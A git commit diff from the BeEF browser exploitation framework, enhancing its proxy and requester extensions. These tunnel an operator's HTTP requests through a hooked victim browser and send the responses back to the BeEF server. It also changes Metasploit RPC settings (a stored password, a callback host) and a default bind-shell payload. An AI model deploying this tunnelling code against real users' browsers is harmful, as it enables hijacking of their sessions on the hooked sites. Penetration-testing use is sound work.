Proxy and Requester enhancements. Proxy got a good performance improvement, it's now multi-thread, able to handle errors, can be used with a normal browser. Requester core (ruby/js) has been enhanced too: db model, js logic and parsing code. Many previous bugs in different parts have been corrected.
git-svn-id: https://beef.googlecode.com/svn/trunk@1027 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -20,7 +20,6 @@ beef.net = {
|
||||
this.results = null;
|
||||
this.handler = null;
|
||||
this.callback = null;
|
||||
this.results = null;
|
||||
},
|
||||
|
||||
//Packet object
|
||||
@@ -49,6 +48,7 @@ beef.net = {
|
||||
*/
|
||||
response: function() {
|
||||
this.status_code = null; // 500, 404, 200, 302
|
||||
this.status_text = null; // success, timeout, error, ...
|
||||
this.response_body = null; // "<html>…." if not a cross domain request
|
||||
this.port_status = null; // tcp port is open, closed or not http
|
||||
this.was_cross_domain = null; // true or false
|
||||
@@ -128,7 +128,7 @@ beef.net = {
|
||||
* @param: {String} data: This will be used as the query string for a GET or post data for a POST
|
||||
* @param: {Int} timeout: timeout the request after N seconds
|
||||
* @param: {String} dataType: specify the data return type expected (ie text/html/script)
|
||||
* @param: {Funtion} callback: call the callback function at the completion of the method
|
||||
* @param: {Function} callback: call the callback function at the completion of the method
|
||||
*
|
||||
* @return: {Object} response: this object contains the response details
|
||||
*/
|
||||
@@ -147,13 +147,32 @@ beef.net = {
|
||||
response.was_cross_domain = cross_domain;
|
||||
|
||||
var start_time = new Date().getTime();
|
||||
//build and execute request
|
||||
|
||||
//configure the ajax object for dataType
|
||||
if(dataType == null){
|
||||
/*
|
||||
* For Cross-Domain XHR always use dataType: script,
|
||||
* otherwise even if the HTTP resp is 200, jQuery.ajax will always launch the error() event
|
||||
*/
|
||||
if(cross_domain){
|
||||
$j.ajaxSetup({
|
||||
dataType: 'script'
|
||||
});
|
||||
}
|
||||
|
||||
// if the request is not crossdomain, let jQuery infer the dataType based on the MIME type of the response
|
||||
|
||||
}else{
|
||||
//if the dataType is explicitly set, let use it
|
||||
$j.ajaxSetup({
|
||||
dataType: dataType
|
||||
});
|
||||
}
|
||||
|
||||
//build and execute the request
|
||||
$j.ajax({type: method,
|
||||
/*
|
||||
* For Cross-Domain XHR always use dataType: script,
|
||||
* otherwise even if the HTTP resp is 200, jQuery.ajax will always launch the error() event
|
||||
*/
|
||||
dataType: dataType,
|
||||
|
||||
//dataType: dataType,
|
||||
url: url,
|
||||
data: data,
|
||||
timeout: (timeout * 1000),
|
||||
@@ -181,6 +200,97 @@ beef.net = {
|
||||
return response;
|
||||
},
|
||||
|
||||
/*
|
||||
* Similar to this.request, except from a few things that are needed when dealing with proxy requests:
|
||||
* - requestid parameter: needed on the callback,
|
||||
* - crossdomain checks: if crossdomain requests are tunneled through the proxy, they must be not issued because
|
||||
* they will always throw error for SoP. This can happen when tunneling a browser: for example
|
||||
* Firefox and Chrome automatically requests /safebrowsing/downloads (XHR)
|
||||
*/
|
||||
proxyrequest: function(scheme, method, domain, port, path, anchor, data, timeout, dataType, requestid, callback) {
|
||||
//check if same domain or cross domain
|
||||
cross_domain = !((document.domain == domain) && ((document.location.port == port) || (document.location.port == "" && port == "80")));
|
||||
|
||||
//build the url
|
||||
var url = scheme+"://"+domain;
|
||||
url = (port != null) ? url+":"+port : url;
|
||||
url = (path != null) ? url+path : url;
|
||||
url = (anchor != null) ? url+"#"+anchor : url;
|
||||
|
||||
//define response object
|
||||
var response = new this.response;
|
||||
response.was_cross_domain = cross_domain;
|
||||
|
||||
// if the request is crossdomain, don't proceed and return
|
||||
if (cross_domain && callback != null) {
|
||||
response.status_code = -1;
|
||||
response.status_text = "crossdomain";
|
||||
response.response_body = "ERROR: Cross Domain Request";
|
||||
callback(response, requestid);
|
||||
return response;
|
||||
}
|
||||
|
||||
var start_time = new Date().getTime();
|
||||
|
||||
//configure the ajax object for dataType
|
||||
if(dataType == null){
|
||||
/*
|
||||
* For Cross-Domain XHR always use dataType: script,
|
||||
* otherwise even if the HTTP resp is 200, jQuery.ajax will always launch the error() event
|
||||
*/
|
||||
if(cross_domain){
|
||||
$j.ajaxSetup({
|
||||
dataType: 'script'
|
||||
});
|
||||
}
|
||||
|
||||
// if the request is not crossdomain, let jQuery infer the dataType based on the MIME type of the response
|
||||
|
||||
}else{
|
||||
//if the dataType is explicitly set, let use it
|
||||
$j.ajaxSetup({
|
||||
dataType: dataType
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
//build and execute the request
|
||||
$j.ajax({type: method,
|
||||
|
||||
//dataType: dataType,
|
||||
url: url,
|
||||
data: data,
|
||||
timeout: (timeout * 1000),
|
||||
|
||||
//function on success
|
||||
success: function(data, textStatus, xhr){
|
||||
var end_time = new Date().getTime();
|
||||
response.status_code = xhr.status;
|
||||
response.status_text = textStatus;
|
||||
response.response_body = data;
|
||||
response.port_status = "open";
|
||||
response.was_timedout = false;
|
||||
response.duration = (end_time - start_time);
|
||||
},
|
||||
//function on failure
|
||||
error: function(xhr, textStatus, errorThrown){
|
||||
var end_time = new Date().getTime();
|
||||
if (textStatus == "timeout"){response.was_timedout = true;}
|
||||
response.status_code = xhr.status;
|
||||
response.status_text = textStatus;
|
||||
response.duration = (end_time - start_time);
|
||||
},
|
||||
//function on completion
|
||||
complete: function(xhr, textStatus) {
|
||||
response.status_code = xhr.status;
|
||||
response.status_text = textStatus;
|
||||
callback(response, requestid);
|
||||
}
|
||||
});
|
||||
return response;
|
||||
|
||||
},
|
||||
|
||||
//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
|
||||
//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
|
||||
clean: function(r) {
|
||||
|
||||
@@ -15,10 +15,16 @@ beef.net.requester = {
|
||||
send: function(requests_array) {
|
||||
for (i in requests_array) {
|
||||
request = requests_array[i];
|
||||
beef.net.request('http', request.method, request.host, request.port, request.uri, null, null, 10, 'HTML', function(res) { beef.net.send('/requester', request.id, res.response_body); });
|
||||
beef.net.proxyrequest('http', request.method, request.host, request.port,
|
||||
request.uri, null, null, 10, null, request.id,
|
||||
function(res, requestid) { beef.net.send('/requester', requestid, {
|
||||
response_data:res.response_body,
|
||||
response_status_code: res.status_code,
|
||||
response_status_text: res.status_text});
|
||||
}
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.requester');
|
||||
beef.regCmp('beef.net.requester');
|
||||
@@ -71,7 +71,7 @@ class Requester < BeEF::Extension::AdminUI::HttpController
|
||||
:method => request.request_method,
|
||||
:domain => request.host,
|
||||
:path => request.unparsed_uri,
|
||||
:date => Time.now,
|
||||
:request_date => Time.now,
|
||||
:hooked_browser_id => zombie.id
|
||||
)
|
||||
|
||||
@@ -106,7 +106,10 @@ class Requester < BeEF::Extension::AdminUI::HttpController
|
||||
'domain' => http.domain,
|
||||
'path' => http.path,
|
||||
'has_ran' => http.has_ran,
|
||||
'date' => http.date
|
||||
'request_date' => http.request_date,
|
||||
'response_date' => http.response_date,
|
||||
'response_status_code' => http.response_status_code,
|
||||
'response_status_text' => http.response_status_text
|
||||
}
|
||||
}
|
||||
|
||||
@@ -131,10 +134,10 @@ class Requester < BeEF::Extension::AdminUI::HttpController
|
||||
res = {
|
||||
'id' => http_db.id,
|
||||
'request' => http_db.request,
|
||||
'response' => http_db.response,
|
||||
'response' => http_db.response_data,
|
||||
'domain' => http_db.domain,
|
||||
'path' => http_db.path,
|
||||
'date' => http_db.date,
|
||||
'date' => http_db.request_date,
|
||||
'has_ran' => http_db.has_ran
|
||||
}
|
||||
|
||||
|
||||
@@ -29,8 +29,8 @@ ZombieTab_Requester = function(zombie) {
|
||||
autoLoad: false,
|
||||
root: 'history',
|
||||
|
||||
fields: ['domain', 'date', 'id', 'has_ran', 'path'],
|
||||
sortInfo: {field: 'date', direction: 'DESC'},
|
||||
fields: ['domain', 'request_date', 'response_date','id', 'has_ran', 'path','response_status_code', 'response_status_text'],
|
||||
sortInfo: {field: 'request_date', direction: 'DESC'},
|
||||
|
||||
baseParams: {
|
||||
nonce: Ext.get("nonce").dom.value,
|
||||
@@ -67,10 +67,14 @@ ZombieTab_Requester = function(zombie) {
|
||||
|
||||
columns: [
|
||||
{header: 'id', width: 10, sortable: true, dataIndex: 'id', hidden: true},
|
||||
{header: 'domain', sortable: true, dataIndex: 'domain'},
|
||||
{header: 'path', sortable: true, dataIndex: 'path'},
|
||||
{header: 'response', width: 20, sortable: true, dataIndex: 'has_ran'},
|
||||
{header: 'date', width: 50, sortable: true, dataIndex: 'date'}
|
||||
{header: 'Domain', sortable: true, dataIndex: 'domain'},
|
||||
{header: 'Path', sortable: true, dataIndex: 'path'},
|
||||
{header: 'Res Code', width: 35, sortable: true, dataIndex: 'response_status_code'},
|
||||
{header: 'Res TextCode', width: 35, sortable: true, dataIndex: 'response_status_text'},
|
||||
{header: 'Processed', width: 30, sortable: true, dataIndex: 'has_ran'},
|
||||
{header: 'Req Date', width: 50, sortable: true, dataIndex: 'request_date'},
|
||||
{header: 'Res Date', width: 50, sortable: true, dataIndex: 'response_date'}
|
||||
|
||||
],
|
||||
|
||||
listeners: {
|
||||
|
||||
@@ -7,10 +7,10 @@
|
||||
beef:
|
||||
extension:
|
||||
metasploit:
|
||||
enable: true
|
||||
host: "10.211.55.2"
|
||||
enable: false
|
||||
host: "192.168.10.128"
|
||||
path: "/RPC2"
|
||||
port: 55553
|
||||
user: "msf"
|
||||
pass: "abc123"
|
||||
callback_host: "10.211.55.2"
|
||||
callback_host: "192.168.10.128"
|
||||
|
||||
@@ -115,8 +115,8 @@ module Commands
|
||||
|
||||
payloads.each { |p|
|
||||
pl << [p]
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@info['Data'] << { 'name' => 'PAYLOAD',
|
||||
'type' => 'combobox',
|
||||
'anchor' => '95% -100',
|
||||
@@ -130,6 +130,7 @@ module Commands
|
||||
'mode' => 'local',
|
||||
'reloadOnChange' => true, # reload payloads
|
||||
'defaultPayload' => "generic/shell_bind_tcp", # default combobox value
|
||||
'defaultPayload' => "generic/shell_bind_tcp",
|
||||
'emptyText' => "select a payload..."
|
||||
}
|
||||
|
||||
|
||||
@@ -5,10 +5,8 @@ module Proxy
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'proxy'
|
||||
|
||||
@full_name = 'proxy'
|
||||
|
||||
@description = 'allows proxy communication with a zombie'
|
||||
@description = 'The proxy allow to tunnel HTTP requests to the hooked domain through the victim browser'
|
||||
|
||||
end
|
||||
end
|
||||
@@ -18,7 +16,7 @@ require 'webrick/httpproxy'
|
||||
require 'webrick/httputils'
|
||||
require 'webrick/httprequest'
|
||||
require 'webrick/httpresponse'
|
||||
require 'extensions/proxy/models/http'
|
||||
require 'extensions/requester/models/http'
|
||||
require 'extensions/proxy/base'
|
||||
require 'extensions/proxy/zombie'
|
||||
require 'extensions/proxy/api'
|
||||
|
||||
@@ -3,25 +3,18 @@ module Extension
|
||||
module Proxy
|
||||
module Handlers
|
||||
module Zombie
|
||||
|
||||
module Handler
|
||||
|
||||
# Variable representing the Http DB model.
|
||||
|
||||
class Handler
|
||||
|
||||
attr_reader :guard
|
||||
@response_body = nil
|
||||
H = BeEF::Core::Models::Http
|
||||
|
||||
# This function will forward requests to the target and
|
||||
# the browser will perform the request. Then the results
|
||||
# will be sent back to use
|
||||
# will be sent back.
|
||||
def forward_request(hooked_browser_id, req, res)
|
||||
|
||||
# Generate an id for the req in the http table and check it doesnt already exist
|
||||
http_id = rand(10000)
|
||||
http_db = H.first(:id => http_id) || nil
|
||||
|
||||
while !http_db.nil?
|
||||
http_id = rand(10000)
|
||||
http_db = H.first(:id => http_id) || nil
|
||||
end
|
||||
|
||||
# Append port to domain string if not 80 or 443
|
||||
if req.port != 80 or req.port != 443
|
||||
domain = req.host.to_s + ':' + req.port.to_s
|
||||
@@ -29,39 +22,37 @@ module Zombie
|
||||
domain = req.host.to_s
|
||||
end
|
||||
|
||||
# Saves the new HTTP request to the db for processing by browser
|
||||
# Saves the new HTTP request to the db for processing by browser.
|
||||
# IDs are created and incremented automatically by DataMapper.
|
||||
http = H.new(
|
||||
:id => http_id,
|
||||
:request => req,
|
||||
:method => req.request_method.to_s,
|
||||
:domain => domain,
|
||||
:path => req.path.to_s,
|
||||
:date => Time.now,
|
||||
:request_date => Time.now,
|
||||
:hooked_browser_id => hooked_browser_id
|
||||
)
|
||||
http.save
|
||||
|
||||
print_debug "[PROXY] Request #" + http_id.to_s + " to " + domain + req.path.to_s + " added to queue for browser id #" + hooked_browser_id.to_s
|
||||
|
||||
# Polls the DB for the response and then sets it when present
|
||||
http_db = H.first(:id => http_id)
|
||||
# Starts a new thread scoped to this Handler instance, in order to minimize performance degradation
|
||||
# while waiting for the HTTP response to be stored in the db.
|
||||
print_info("[PROXY] Thread started in order to process request ##{http.id} to [#{req.path.to_s}] on domain [#{domain}]")
|
||||
@response_thread = Thread.new do
|
||||
|
||||
while !H.first(:id => http.id).has_ran
|
||||
sleep 0.5
|
||||
end
|
||||
|
||||
@response_body = H.first(:id => http.id).response_data
|
||||
|
||||
while !http_db.has_ran
|
||||
http_db = H.first(:id => http_id)
|
||||
end
|
||||
|
||||
print_debug "[PROXY] Response to request #" + http_id.to_s + " to " + req.host.to_s + req.path.to_s + " using browser id #" + hooked_browser_id.to_s + " recieved"
|
||||
|
||||
res.body = http_db.response
|
||||
|
||||
res
|
||||
@response_thread.join
|
||||
print_info("[PROXY] Response for request ##{http.id} to [#{req.path.to_s}] on domain [#{domain}] correctly processed")
|
||||
|
||||
res.body = @response_body
|
||||
end
|
||||
|
||||
module_function :forward_request
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,66 +0,0 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
# Table stores the http requests and responses from the requester.
|
||||
#
|
||||
class Http
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'extension.requester.http'
|
||||
|
||||
property :id, Serial
|
||||
|
||||
#
|
||||
# The hooked browser id
|
||||
#
|
||||
property :hooked_browser_id, Text, :lazy => false
|
||||
|
||||
#
|
||||
# The http request to perform. In clear text.
|
||||
#
|
||||
property :request, Text, :lazy => true
|
||||
|
||||
#
|
||||
# The http response received. In clear text.
|
||||
#
|
||||
property :response, Text, :lazy => true
|
||||
|
||||
#
|
||||
# The http response method. GET or POST.
|
||||
#
|
||||
property :method, Text, :lazy => false
|
||||
|
||||
#
|
||||
# The content length for the request.
|
||||
#
|
||||
property :content_length, Text, :lazy => false, :default => 0
|
||||
|
||||
#
|
||||
# The domain on which perform the request.
|
||||
#
|
||||
property :domain, Text, :lazy => false
|
||||
|
||||
#
|
||||
# The path of the request.
|
||||
#
|
||||
# Example: /secret.html
|
||||
#
|
||||
property :path, Text, :lazy => false
|
||||
|
||||
#
|
||||
# The date at which the http request has been saved.
|
||||
#
|
||||
property :date, DateTime, :lazy => false
|
||||
|
||||
#
|
||||
# Boolean value to say if the http response has been received or not.
|
||||
#
|
||||
property :has_ran, Boolean, :default => false
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -4,20 +4,15 @@ module Proxy
|
||||
|
||||
class HttpProxyZombie < BeEF::Extension::Proxy::HttpProxyBase
|
||||
|
||||
attr_accessor :proxy_zombie_id
|
||||
|
||||
HB = BeEF::Core::Models::HookedBrowser
|
||||
|
||||
def initialize
|
||||
@configuration = BeEF::Core::Configuration.instance
|
||||
|
||||
@config = {}
|
||||
@config[:BindAddress] = @configuration.get('beef.extension.proxy.address')
|
||||
@config[:Port] = @configuration.get('beef.extension.proxy.port')
|
||||
@config[:ServerName] = "BeEF " + @configuration.get('beef.version')
|
||||
@config[:ServerSoftware] = "BeEF " + @configuration.get('beef.version')
|
||||
|
||||
proxy_zombie_id = nil
|
||||
super
|
||||
end
|
||||
|
||||
@@ -25,17 +20,17 @@ module Proxy
|
||||
proxy_browser = HB.first(:is_proxy => true)
|
||||
if(proxy_browser != nil)
|
||||
proxy_browser_id = proxy_browser.id.to_s
|
||||
print_debug "[PROXY] Current proxy browser id is #" + proxy_browser_id
|
||||
#print_debug "[PROXY] Current proxy browser id is #" + proxy_browser_id
|
||||
else
|
||||
proxy_zombie_id = 1
|
||||
print_debug "[PROXY] Proxy browser not set so defaulting to browser id #1"
|
||||
proxy_browser_id = 1
|
||||
print_debug "[PROXY] Proxy browser not set. Defaulting to browser id #1"
|
||||
end
|
||||
|
||||
# blocking request
|
||||
res = BeEF::Extension::Proxy::Handlers::Zombie::Handler.forward_request(proxy_zombie_id, req, res)
|
||||
|
||||
forwarder = BeEF::Extension::Proxy::Handlers::Zombie::Handler.new
|
||||
res = forwarder.forward_request(proxy_browser_id, req, res)
|
||||
res
|
||||
# remove beef hook if it exists
|
||||
remove_hook(res)
|
||||
#remove_hook(res)
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -20,7 +20,7 @@ module Requester
|
||||
extend BeEF::API::Server::Hook
|
||||
|
||||
def self.pre_hook_send(hooked_browser, body, params, request, response)
|
||||
dhook = BeEF::Extension::Requester::API::Hook.new
|
||||
dhook = BeEF::Extension::Requester::API::Hook.new
|
||||
dhook.requester_run(hooked_browser, body)
|
||||
end
|
||||
|
||||
|
||||
@@ -8,7 +8,8 @@ module API
|
||||
# That module is dependent on 'Common'. Hence to use it,
|
||||
# your code also needs to include that module.
|
||||
#
|
||||
class Hook
|
||||
require 'uri'
|
||||
class Hook
|
||||
|
||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||
|
||||
@@ -22,11 +23,13 @@ module API
|
||||
BeEF::Core::Models::Http.all(:hooked_browser_id => hb.id, :has_ran => false).each {|h|
|
||||
output << self.requester_parse_db_request(h)
|
||||
}
|
||||
|
||||
# we stop here of our output in empty, that means they aren't any requests to send
|
||||
|
||||
# stop here of our output in empty, that means there aren't any requests to send
|
||||
return if output.empty?
|
||||
|
||||
#print_debug("[REQUESTER] Sending request(s): #{output.to_json}")
|
||||
|
||||
# we build the beefjs requester component
|
||||
# build the beefjs requester component
|
||||
build_missing_beefjs_components 'beef.net.requester'
|
||||
|
||||
# we send the command to perform the requests to the hooked browser
|
||||
@@ -38,7 +41,6 @@ module API
|
||||
});
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Converts a HTTP DB Object into a BeEF JS command that
|
||||
@@ -74,7 +76,8 @@ module API
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
uri = req.unparsed_uri
|
||||
# creating the request object
|
||||
http_request_object = {
|
||||
'id' => http_db_object.id,
|
||||
@@ -82,12 +85,11 @@ module API
|
||||
'host' => req.host,
|
||||
'port' => req.port,
|
||||
'params' => params,
|
||||
'uri' => req.unparsed_uri,
|
||||
'uri' => URI.parse(uri).path,
|
||||
'headers' => {}
|
||||
}
|
||||
|
||||
req.header.keys.each{|key| http_request_object['headers'][key] = req.header[key]}
|
||||
|
||||
|
||||
http_request_object
|
||||
end
|
||||
|
||||
|
||||
@@ -6,7 +6,6 @@ module Requester
|
||||
# The http handler that manages the Requester.
|
||||
#
|
||||
class Handler < WEBrick::HTTPServlet::AbstractServlet
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
H = BeEF::Core::Models::Http
|
||||
@@ -23,35 +22,42 @@ module Requester
|
||||
end
|
||||
|
||||
def setup()
|
||||
|
||||
# validates the hook token
|
||||
beef_hook = @data['beefhook'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "beef_hook is null" if beef_hook.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "beefhook is null" if beef_hook.nil?
|
||||
|
||||
# validates the request id
|
||||
request_id = @data['cid'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "request_id is null" if request_id.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Original request id (command id) is null" if request_id.nil?
|
||||
|
||||
# validates that a hooked browser with the beef_hook token exists in the db
|
||||
zombie_db = Z.first(:session => beef_hook) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid beef hook id: the hooked browser cannot be found in the database" if zombie_db.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid beefhook id: the hooked browser cannot be found in the database" if zombie_db.nil?
|
||||
|
||||
# validates that we have such a http request saved in the db
|
||||
http_db = H.first(:id => request_id.to_i, :hooked_browser_id => zombie_db.id) || nil
|
||||
#print_debug("[REQUESTER] BeEF::Extension::Requester::Handler -> Searching for request id [#{request_id.to_i}] of zombie id [#{zombie_db.id}]")
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid http_db: no such request found in the database" if http_db.nil?
|
||||
|
||||
# validates that the http request has not be ran before
|
||||
raise WEBrick::HTTPStatus::BadRequest, "This http request has been saved before" if http_db.has_ran.eql? true
|
||||
|
||||
# validates the body
|
||||
body = @data['results'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "body is null" if body.nil?
|
||||
# validates the response code
|
||||
response_code = @data['results']['response_status_code'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Http response code is null" if response_code.nil?
|
||||
#print_debug("[PROXY] Saving response with response code [#{@data['results']['response_status_code']}] - response body [#{@data['results']['response_data']}]")
|
||||
|
||||
# save the results in the database
|
||||
http_db.response = body
|
||||
http_db.response_status_code = @data['results']['response_status_code']
|
||||
http_db.response_status_text = @data['results']['response_status_text']
|
||||
http_db.response_data = @data['results']['response_data']
|
||||
http_db.response_date = Time.now
|
||||
http_db.has_ran = true
|
||||
http_db.save
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -12,51 +12,44 @@ module Models
|
||||
|
||||
property :id, Serial
|
||||
|
||||
#
|
||||
# The hooked browser id
|
||||
#
|
||||
property :hooked_browser_id, Text, :lazy => false
|
||||
property :hooked_browser_id, Text, :lazy => false
|
||||
|
||||
#
|
||||
# The http request to perform. In clear text.
|
||||
#
|
||||
property :request, Text, :lazy => true
|
||||
|
||||
#
|
||||
# The http response received. In clear text.
|
||||
#
|
||||
property :response, Text, :lazy => true
|
||||
|
||||
#
|
||||
|
||||
# The http response body received. In clear text.
|
||||
property :response_data, Text, :lazy => true
|
||||
|
||||
# The http response code. Useful to handle cases like 404, 500, 302, ...
|
||||
property :response_status_code, Integer, :lazy => true
|
||||
|
||||
# The http response code. Human-readable code: success, error, ecc..
|
||||
property :response_status_text, Text, :lazy => true
|
||||
|
||||
# The http response method. GET or POST.
|
||||
#
|
||||
property :method, Text, :lazy => false
|
||||
|
||||
#
|
||||
|
||||
# The content length for the request.
|
||||
#
|
||||
property :content_length, Text, :lazy => false, :default => 0
|
||||
|
||||
#
|
||||
|
||||
# The domain on which perform the request.
|
||||
#
|
||||
property :domain, Text, :lazy => false
|
||||
|
||||
#
|
||||
|
||||
# Boolean value to say if the request was cross-domain
|
||||
property :has_ran, Boolean, :default => false
|
||||
|
||||
# The path of the request.
|
||||
#
|
||||
# Example: /secret.html
|
||||
#
|
||||
property :path, Text, :lazy => false
|
||||
|
||||
#
|
||||
|
||||
# The date at which the http response has been saved.
|
||||
property :response_date, DateTime, :lazy => false
|
||||
|
||||
# The date at which the http request has been saved.
|
||||
#
|
||||
property :date, DateTime, :lazy => false
|
||||
|
||||
#
|
||||
property :request_date, DateTime, :lazy => false
|
||||
|
||||
# Boolean value to say if the http response has been received or not.
|
||||
#
|
||||
property :has_ran, Boolean, :default => false
|
||||
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user